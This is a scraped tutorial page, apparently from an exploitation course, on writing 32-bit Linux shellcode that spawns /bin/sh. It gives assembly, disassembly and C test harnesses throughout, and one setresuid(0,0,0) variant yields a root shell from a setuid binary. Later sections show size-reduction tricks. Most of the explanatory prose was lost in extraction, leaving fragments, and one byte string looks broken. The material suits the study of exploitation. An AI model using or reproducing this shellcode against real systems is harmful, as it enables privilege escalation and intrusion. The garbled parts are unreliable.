

02.Create a shellcode that executes "/bin/sh"

 Unknown macro: 'html'

Excuse the ads! We need some help to keep our site up.

 Unknown macro: 'html'

List

- [Create a shellcode that executes "/bin/sh"](#)
 - [C language](#)
 - [Assembly code](#)
 - [Test program](#)
- [Change permissions\(setuid\(\)\)](#)
 - [Issue](#)
 - [C language](#)
 - [Assembly code](#)
 - [Test program](#)
- [Smaller Shellcode](#)
 - [ESP Register](#)
 - [Test program](#)
 - [CDQ\(Convert Doubleword to Quadword\) instruction](#)
 - [Test program](#)
 - [PUSH, POP instruction](#)
 - [Test program](#)
 - [execve\("/bin/sh", NULL, NULL\);](#)
 - [Test program](#)
- [Related site](#)
- [Comments](#)

Create a shellcode that executes "/bin/sh"

C language

- `Shell   "/bin/sh" .`
- `C   "/bin/sh" .`

Other program execution functions				
execl	int execl(const char *path, const char *arg, ...);			
execlp	int execlp(const char *file, const char *arg, ...);			
execle	int execle(const char *path, const char *arg ,..., char * const envp[]);			
execv	int execv(const char *path, char *const argv[]);			
execvp	int execvp(const char *file, char *const argv[]);			
execve	int execve (const char *filename, char *const argv [], char *const envp[]);			

- `execve() "/bin/sh" .`

shell.c

```
#include <unistd.h>

int main() {
    char *argv[2] = {"/bin/sh", NULL};
    execve(argv[0], argv, NULL);
}
```

- **shell** .

Run ./shell

```
lazenca0x0@ubuntu:~/Shell$ gcc -o shell shell.c
lazenca0x0@ubuntu:~/Shell$ ./shell
$ id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),
113(lpadmin),128(sambashare)
$ exit
lazenca0x0@ubuntu:~/Shell$
```

Assembly code

- **C language** **Assembly code** .
- **execve()** .
 - . '/bin/sh' . .
 - .
 - man() *argv[] argv[0] .

Argument info

filename	('/bin/sh')
argv	('/bin/sh')
envp	Null pointer

- **System** **execl(), execlp(), execl(), execv(), execvp()** .
 - System **execve()** C .

System call

```
lazenca0x0@ubuntu:~/ASM$ cat /usr/include/x86_64-linux-gnu/asm/unistd_32.h|grep exe
#define __NR_execve 11
#define __NR_kexec_load 283
lazenca0x0@ubuntu:~/ASM$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h|grep exe
#define __NR_execve 59
#define __NR_kexec_load 246
lazenca0x0@ubuntu:~/ASM$
```

- , **"/bin/sh"** , **Null byte** .
- **'[', ']'** (**dereference**) .
 - "ebx " 4 0 .
 - "ebx " .

Dereference

```
mov [ebx+4], 0
```

- **"Shellcode "/bin/sh" ?"** .
 - Shellcode .
 - Shellcode **"/bin/sh"** .

Null byte

	Memory data	String
Shellcode	0xAABBCCDDEEFFAABB	a»İYİya»
Shellcode	0x2f62696e2f7368AABB	/bin/sha»
"/bin/sh" null byte	0x2f62696e2f736800BB	/bin/sh

- 'argv', 'envp' 'LEA' .
 - 'MOV' Shellcode .

lea instruction

lea <Operand 1>, <Operand 2>	2 1 .
------------------------------	-------

Example

Instruction	Assembly code	Raw Hex
lea	lea ecx, [ebx+8]	0x8D, 0x4B, 0x08
mov, add	mov ecx, ebx add ecx, 8	0x89, 0xD9, 0x83, 0xC1, 0x08

- **"/bin/sh" Shellcode** .

shellcode.s

BITS 32

```
jmp short last          ; shell  "last:" .
```

shell:

```
    ; int execve(const char *filename, char *const argv [], char *const envp[])
    pop ebx                ; EBX
    xor eax, eax           ; EAX 0 .
    mov [ebx+7], al        ; "/bin/sh" Null byte .
    mov [ebx+8], ebx        ; [ebx+8] EBX .
    mov [ebx+12], eax       ; [ebx+12] EAX 32 Null byte .
    lea ecx, [ebx+8]        ; argv [ebx+8] ECX .
    lea edx, [ebx+12]       ; envp [ebx+12] EDX .
    mov al, 11              ; AL execve() .
    int 0x80                ;
```

last:

```
    call shell              ; "/bin/sh" Stack .
    db '/bin/sh'            ; call  shell  Stack .
```

- **Shellcode** .

Build & Disassemble

```
lazenca0x0@ubuntu:~/Shell$ nasm shellcode.s
lazenca0x0@ubuntu:~/Shell$ ndisasm shellcode
00000000 EB16          jmp short 0x18
00000002 5B             pop bx
00000003 31C0          xor ax,ax
00000005 884307        mov [bp+di+0x7],al
00000008 895B08        mov [bp+di+0x8],bx
0000000B 89430C        mov [bp+di+0xc],ax
0000000E 8D4B08        lea cx,[bp+di+0x8]
00000011 8D530C        lea dx,[bp+di+0xc]
00000014 B00B          mov al,0xb
00000016 CD80          int 0x80
00000018 E8E5FF        call word 0x0
0000001B FF            db 0xff
0000001C FF2F          jmp word far [bx]
0000001E 62696E        bound bp,[bx+di+0x6e]
00000021 2F            das
00000022 7368          jnc 0x8c
lazenca0x0@ubuntu:~/Shell$
```

Test program

- Shellcode .

shell2.c

```
#include<stdio.h>
#include<string.h>

unsigned char shellcode [] =
"\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x8d\x4b\x08\x8d\x53\x0c\xb0\x0b\xcd\x80\xe8\xe5\xff\xff"
f\xff/bin/sh";
unsigned char code[] = "";

void main(){
    int len = strlen(shellcode);
    printf("Shellcode len : %d\n",len);
    strcpy(code,shellcode);
    (*(void(*)()) code)();
}
```

- Shellcode '/bin/sh' shell .

Build & Run

```
lazenca0x0@ubuntu:~/Shell$ gcc -o shell2 -z execstack -m32 shell2.c
lazenca0x0@ubuntu:~/Shell$ ./shell2
Shellcode len : 36
$ id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),
113(lpadmin),128(sambashare)
$
```

Change permissions(seteuid())

Issue

- Setuid root seteuid() .
 - Shellcode shell seteuid() shell .
- .
 - shellcode 'seteuid(1000)' .

shell3.c

```
#include<stdio.h>
#include<string.h>
#include <unistd.h>
unsigned char shellcode [] =
"\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x8d\x4b\x08\x8d\x53\x0c\xb0\x0b\xcd\x80\xe8\xe5\xff\xff"
f\xff/bin/sh";
unsigned char code[] = "";

void main(){
    seteuid(1000);
    int len = strlen(shellcode);
    printf("Shellcode len : %d\n",len);
    strcpy(code,shellcode);
    void (*function)() = (void(*)())code;

    function();
}
```

- root, setuid seteuid() .

Build & Run

```
lazenca0x0@ubuntu:~/Shell$ gcc -o shell3 -z execstack -m32 shell3.c
lazenca0x0@ubuntu:~/Shell$ sudo chown root:root ./shell3
lazenca0x0@ubuntu:~/Shell$ sudo chmod 4755 ./shell3
lazenca0x0@ubuntu:~/Shell$ ls -al
total 44
drwxrwxr-x  2 lazenca0x0 lazenca0x0 4096 Feb 21 00:44 .
drwxr-xr-x 24 lazenca0x0 lazenca0x0 4096 Feb 15 00:37 ..
-rwsr-xr-x  1 root        root        7568 Feb 21 00:44 shell3
-rw-rw-r--  1 lazenca0x0 lazenca0x0  431 Feb 21 00:43 shell3.c
lazenca0x0@ubuntu:~/Shell$ ./shell3
Shellcode len : 36
$ id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),
113(lpadmin),128(sambashare)
$
```

- 'setresuid' .
 - ID(real user ID), ID(effective user ID), set-user-ID .
 - , seteuid() .

SYNOPSIS

```
int setresuid(uid_t ruid, uid_t euid, uid_t suid);
```

C language

- C .
 - setresuid() root "/bin/sh" .

shell4.c

```
#include <unistd.h>

int main() {
    char *argv[2] = {"/bin/sh", NULL};
    setresuid(0, 0, 0);
    execve(argv[0], argv, NULL);
}
```

Assembly code

- C Assembly code .
 - Shellcode setresuid() .
- .
 - "__NR_setresuid" : 164
 - "__NR_setresuid32" : 208
 - , ID bit .
 - 16 bit, 32bit

unistd_32.h|grep setresuid

```
lazenca0x0@ubuntu:~/Shell$ cat /usr/include/x86_64-linux-gnu/asm/unistd_32.h|grep setresuid
#define __NR_setresuid 164
#define __NR_setresuid32 208
lazenca0x0@ubuntu:~/Shell$
```

shellcode2.s

```
BITS 32

jmp short last          ; shell  "last:" .

shell:
    ; setresuid(uid_t ruid, uid_t euid, uid_t suid);
    xor eax, eax        ; EAX  0 .
    xor ebx, ebx        ; EBX  0 .
    xor ecx, ecx        ; ECX  0 .
    xor edx, edx        ; EDX  0 .
    mov al, 164          ; AL  setresuid() .
    int 0x80             ; , root  '0' .
    ; int execve(const char *filename, char *const argv [], char *const envp[])
    pop ebx              ; EBX  .
    xor eax, eax        ; EAX  0 .
    mov [ebx+7],al       ; "/bin/sh" Null byte .
    mov [ebx+8],ebx      ; [ebx+8]  EBX  .
    mov [ebx+12],eax     ; [ebx+12]  EAX  32 Null byte .
    lea ecx, [ebx+8]     ; argv  [ebx+8]  ECX  .
    lea edx, [ebx+12]    ; envp  [ebx+12]  EDX  .
    mov al, 11           ; AL  execve() .
    int 0x80             ;
last:
    call shell           ; "/bin/sh" Stack .
    db '/bin/sh'         ; call  shell  Stack .
```

- Shellcode .

Build & Disassemble

```
lazenca0x0@ubuntu:~/Shell$ nasm shellcode2.s
lazenca0x0@ubuntu:~/Shell$ ndisasm shellcode2
00000000 EB22          jmp short 0x24
00000002 31C0          xor ax,ax
00000004 31DB          xor bx,bx
00000006 31C9          xor cx,cx
00000008 31D2          xor dx,dx
0000000A B0A4          mov al,0xa4
0000000C CD80          int 0x80
0000000E 5B           pop bx
0000000F 31C0          xor ax,ax
00000011 884307        mov [bp+di+0x7],al
00000014 895B08        mov [bp+di+0x8],bx
00000017 89430C        mov [bp+di+0xc],ax
0000001A 8D4B08        lea cx,[bp+di+0x8]
0000001D 8D530C        lea dx,[bp+di+0xc]
00000020 B00B          mov al,0xb
00000022 CD80          int 0x80
00000024 E8D9FF        call word 0x0
00000027 FF           db 0xff
00000028 FF2F          jmp word far [bx]
0000002A 62696E        bound bp,[bx+di+0x6e]
0000002D 2F           das
0000002E 7368          jnc 0x98
lazenca0x0@ubuntu:~/Shell$
```

Test program

- Shellcode .

shell4.c

```
#include<stdio.h>
#include<string.h>
#include <unistd.h>
unsigned char shellcode [] =
"\xeb\x22\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\xa4\xcd\x80\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x8d\x4b\x08\x8d\x53\x0c\xb0\x0b\xcd\x80\xe8\xd9\xff\xff\xff/bin/sh";
unsigned char code[] = "";

void main(){
    int len = strlen(shellcode);
    printf("Shellcode len : %d\n",len);
    seteuid(1000);
    strcpy(code,shellcode);
    (*(void(*)()) code)();
}
```

- Shellcode "setresuid(0,0,0)" uid root .

Build & run

```
lazenca0x0@ubuntu:~/Shell$ gcc -o shell4 -z execstack -m32 shell4.c
lazenca0x0@ubuntu:~/Shell$ sudo chown root:root ./shell4
lazenca0x0@ubuntu:~/Shell$ sudo chmod 4755 ./shell4
lazenca0x0@ubuntu:~/Shell$ ./shell4
Shellcode len : 48
# id
uid=0(root) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
#
```

Smaller Shellcode

- Shellcode Code .
 - .
 - Shellcode .

ESP Register

- ESP .
 - PUSH Stack , ESP .
 - "ESP " - 4 = PUSH
 - POP ESP , ESP .
 - "ESP " + 4 = POP
- ESP PUSH "/bin/sh" , .
 - PUSH "/bin/sh" Stack .
 - Null byte "/"sh" '/' .
 - PUSH ESP "/bin/sh" .
 - ,ESP Stack "/bin/sh" .
 - "jmp short last" .
- Shellcode .

shellcode3.s

```
BITS 32

; setresuid(uid_t ruid, uid_t euid, uid_t suid);
xor eax, eax      ; EAX  0 .
xor ebx, ebx      ; EBX  0 .
xor ecx, ecx      ; ECX  0 .
xor edx, edx      ; EDX  0 .
mov al, 0xa4      ; setresuid()      164(0xa4) AL .
int 0x80          ; setresuid(0, 0, 0)

; execve(const char *filename, char *const argv [], char *const envp[])
xor eax, eax      ; EAX  0 .
mov al, 11        ; execve()      11 AL .
push ecx          ;      Null "//sh" .
push 0x68732f2f   ;  "//sh" .
push 0x6e69622f   ;  "/bin" .
mov ebx, esp      ; ESP  "/bin//sh"  EBX .

; 2      3
push edx          ; Null .
mov edx, esp      ; 3 Null .
push ebx          ; Stack "/bin//sh" .
mov ecx, esp      ; 2
int 0x80          ; execve("/bin//sh",["/bin//sh",NULL],[NULL])
```

- Shellcode .

Build & Disassemble

```
lazenca0x0@ubuntu:~/Shell$ nasm shellcode3.s
lazenca0x0@ubuntu:~/Shell$ ndisasm shellcode3
00000000 31C0          xor ax,ax
00000002 31DB          xor bx,bx
00000004 31C9          xor cx,cx
00000006 31D2          xor dx,dx
00000008 B0A4          mov al,0xa4
0000000A CD80          int 0x80
0000000C 31C0          xor ax,ax
0000000E B00B          mov al,0xb
00000010 51            push cx
00000011 682F2F        push word 0x2f2f
00000014 7368          jnc 0x7e
00000016 682F62        push word 0x622f
00000019 696E89E352    imul bp,[bp-0x77],word 0x52e3
0000001E 89E2          mov dx,sp
00000020 53            push bx
00000021 89E1          mov cx,sp
00000023 CD80          int 0x80
lazenca0x0@ubuntu:~/Shell$
```

Test program

- Shellcode .

shell5.c

```
#include<stdio.h>
#include<string.h>

unsigned char shellcode [] = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\xa4\xcd\x80\x31\xc0\xb0\x0b\x51\x68//shh
/bin\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80";
unsigned char code[] = "";

void main(){
    int len = strlen(shellcode);
    printf("Shellcode len : %d\n",len);
    strcpy(code,shellcode);
    (*(void(*)()) code)();
}
```

- Shellcode 11 byte .

Build & Run

```
lazenca0x0@ubuntu:~/Shell$ gcc -o shell5 -z execstack -m32 shell5.c
lazenca0x0@ubuntu:~/Shell$ ./shell5
Shellcode len : 37
$ id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),
113(lpadmin),128(sambashare)
$
```

CDQ(Convert Doubleword to Quadword) instruction

- CDQ(Convert Doubleword to Quadword) x86 .
 - CDQ EAX (Sign Flag) EDX .
 - EAX (SF = 0) CDQ EDX 0x00000000 .
 - EAX (SF = 1) CDQ EDX 0xFFFFFFFF .

Positive number

```
mov    eax, 0x5    ; eax = 0x5, SF = 0
cdq                                ; edx = 0x00000000
```

Negative number

```
mov    eax, 0x5    ; eax = 0x5
neg    eax          ; eax = 0xFFFFFFFF, SF = 1
cdq                                ; edx = 0xFFFFFFFF
```

- **XOR EDX 0 CDQ** .
 - XOR 2 byte, CDQ 1 byte .
 - ,CDQ Shellcode 1 byte .

CDQ instruction

```
xor edx,edx ;          31 D2
cdq          ;          99
```

- **Shellcode** .

shellcode4.s

BITS 32

```
; setresuid(uid_t ruid, uid_t euid, uid_t suid);
xor eax, eax    ; EAX 0 .
xor ebx, ebx    ; EBX 0 .
xor ecx, ecx    ; ECX 0 .
cdq             ; EAX (Sign Flag) EDX 0 .
mov al, 0xa4    ; setresuid() 164(0xa4) AL .
int 0x80        ; setresuid(0, 0, 0)

; execve(const char *filename, char *const argv [], char *const envp[])
xor eax, eax    ; EAX 0 .
mov al, 11      ; execve() 11 AL .
push ecx        ; Null "//sh" .
push 0x68732f2f ; "//sh" .
push 0x6e69622f ; "/bin" .
mov ebx, esp    ; ESP "/bin//sh" EBX .

; 2 3
push edx        ; Null .
mov edx, esp    ; 3 Null .
push ebx        ; Stack "/bin//sh" .
mov ecx, esp    ; 2
int 0x80        ; execve("/bin//sh",["/bin//sh",NULL],[NULL])
```

- **Shellcode** .

Build & Disassemble

```
lazenca0x0@ubuntu:~/Shell$ nasm shellcode4.s
lazenca0x0@ubuntu:~/Shell$ ndisasm shellcode4
00000000 31C0          xor ax,ax
00000002 31DB          xor bx,bx
00000004 31C9          xor cx,cx
00000006 99            cwd
00000007 B0A4          mov al,0xa4
00000009 CD80          int 0x80
0000000B 31C0          xor ax,ax
0000000D B00B          mov al,0xb
0000000F 51            push cx
00000010 682F2F        push word 0x2f2f
00000013 7368          jnc 0x7d
00000015 682F62        push word 0x622f
00000018 696E89E352    imul bp,[bp-0x77],word 0x52e3
0000001D 89E2          mov dx,sp
0000001F 53            push bx
00000020 89E1          mov cx,sp
00000022 CD80          int 0x80
lazenca0x0@ubuntu:~/Shell$
```

Test program

- Shellcode .

shell6.c

```
#include<stdio.h>
#include<string.h>

unsigned char shellcode [] = "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x31\xc0\xb0\x0b\x51\x68//sh\x68
/bin\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80";
unsigned char code[] = "";

void main(){
    int len = strlen(shellcode);
    printf("Shellcode len : %d\n",len);
    strcpy(code,shellcode);
    (*(void(*)()) code)();
}
```

- Shellcode 1 byte .

Build & Run

```
lazenca0x0@ubuntu:~/Shell$ gcc -o shell6 -z execstack -m32 shell6.c
lazenca0x0@ubuntu:~/Shell$ ./shell6
Shellcode len : 36
$ id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),
113(lpadmin),128(sambashare)
$
```

PUSH, POP instruction

- PUSH, POP .
 - XOR, MOV .
 - PUSH, POP Shellcode 1 byte .
 - PUSH .
 - 1 BYTE, 2 WORD, 4 DWORD .

XOR, MOV instruction

```
xor eax, eax      ;      31 C0
mov al, 0xb        ;      B0 0B
```

PUSH, POP instruction

```
push byte +0xb     ;      6A 0B
pop eax             ;      58
```

- **Shellcode** .

shellcode5.s

```
BITS 32

; setresuid(uid_t ruid, uid_t euid, uid_t suid);
xor eax, eax      ; EAX  0 .
xor ebx, ebx      ; EBX  0 .
xor ecx, ecx      ; ECX  0 .
cdq               ; EAX      (Sign Flag) EDX  0 .
mov al, 0xa4       ; setresuid()      164(0xa4) AL .
int 0x80           ; setresuid(0, 0, 0)

; execve(const char *filename, char *const argv [], char *const envp[])
push BYTE 11       ; execve()      11 Stack .
pop eax            ; Stack 11() EAX .
push ecx           ;      Null Stack .
push 0x68732f2f    ; "//sh" .
push 0x6e69622f    ; "/bin" .
mov ebx, esp       ; execve() 1 (EBX) "/bin//sh" (ESP) .

; 2      3
push edx           ; Null .
mov edx, esp       ; execve() 3 (EDX) Null .
push ebx           ; Stack "/bin//sh" .
mov ecx, esp       ; execve() 2 (ECX) .
int 0x80           ; execve("/bin//sh",["/bin//sh",NULL],[NULL])
```

- **"/bin//sh" Stack Little-endian format** .

Example

String	Hex	Little-endian format
//sh	0x2f2f7368	0x68732f2f
/bin	0x2f62696e	0x6e69622f

Test program

- **Shellcode** .

shell7.c

```
#include<stdio.h>
#include<string.h>

unsigned char shellcode [] = "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68//sh\x68
/bin\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80";
unsigned char code[] = "";

void main(){
    int len = strlen(shellcode);
    printf("Shellcode len : %d\n", len);
    strcpy(code, shellcode);
    (*(void(*)()) code)();
}
```

- Shellcode 1 byte .

Build & Run

```
lazenca0x0@ubuntu:~/Shell$ gcc -o shell7 -z execstack -m32 shell7.c
lazenca0x0@ubuntu:~/Shell$ ./shell7
Shellcode len : 35
$ id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),
113(lpadmin),128(sambashare)
$
```

execve("/bin/sh", NULL, NULL);

- execve() "/bin/sh" 2 .
- 2 Null .

execveNull.c

```
#include <unistd.h>

int main() {
    execve("/bin/sh", NULL, NULL);
}
```

Build & Run

```
lazenca0x0@ubuntu:~$ gcc -o null execveNull.c
execveNull.c: In function 'main':
execveNull.c:4:9: warning: null argument where non-null required (argument 2) [-Wnonnull]
    execve("/bin/sh", NULL, NULL);
    ^
lazenca0x0@ubuntu:~$ ./null
$ id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),
113(lpadmin),128(sambashare)
$ exit
lazenca0x0@ubuntu:~$
```



execve(2) - Linux manual page - man7.org

- <http://man7.org/linux/man-pages/man2/execve.2.html>

- **Shellcode** .

shellcode6.s

BITS 32

```
; setresuid(uid_t ruid, uid_t euid, uid_t suid);
xor eax, eax    ; EAX  0 .
xor ebx, ebx    ; EBX  0 .
xor ecx, ecx    ; ECX  0 .
cdq             ; EAX      (Sign Flag) EDX  0 .
               ; execve() 3 (EDX) Null .
mov al, 0xa4    ; setresuid()    164(0xa4) AL .
int 0x80        ; setresuid(0, 0, 0)

; execve(const char *filename, char *const argv [], char *const envp[])
push BYTE 11    ; execve()    11 Stack .
pop eax         ; Stack 11() EAX .
push ecx        ;      Null Stack .
push 0x68732f2f ; "//sh" .
push 0x6e69622f ; "/bin" .
mov ebx, esp    ; execve() 1 (EBX) "/bin//sh" (ESP) .

; 2      3
mov ecx, edx    ; execve() 2 (ECX) Null .
int 0x80        ; execve("/bin//sh",NULL,NULL)
```

Test program

- **Shellcode** .

shell8.c

```
#include<stdio.h>
#include<string.h>

unsigned char shellcode [] =
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\xb\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\x
\xd1\xcd\x80";
unsigned char code[] = "";

void main(){
    int len = strlen(shellcode);
    printf("Shellcode len : %d\n",len);
    strcpy(code,shellcode);
    (*(void(*)()) code)();
}
```

- **Shellcode 4 byte** .

Build & Run

```
lazenca0x0@ubuntu:~$ gcc -o shell8 -z execstack -m32 shell8.c
lazenca0x0@ubuntu:~$ ./shell8
Shellcode len : 31
$ id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),
113(lpadmin),128(sambashare)
$ exit
lazenca0x0@ubuntu:~$
```

Related site

- http://forum.falinux.com/zbxe/?mid=C_LIB&page=3&document_srl=408569
- <https://www.aldeid.com/wiki/X86-assembly/Instructions/cdq>

Comments



Unknown macro: 'html'



Unknown macro: 'html'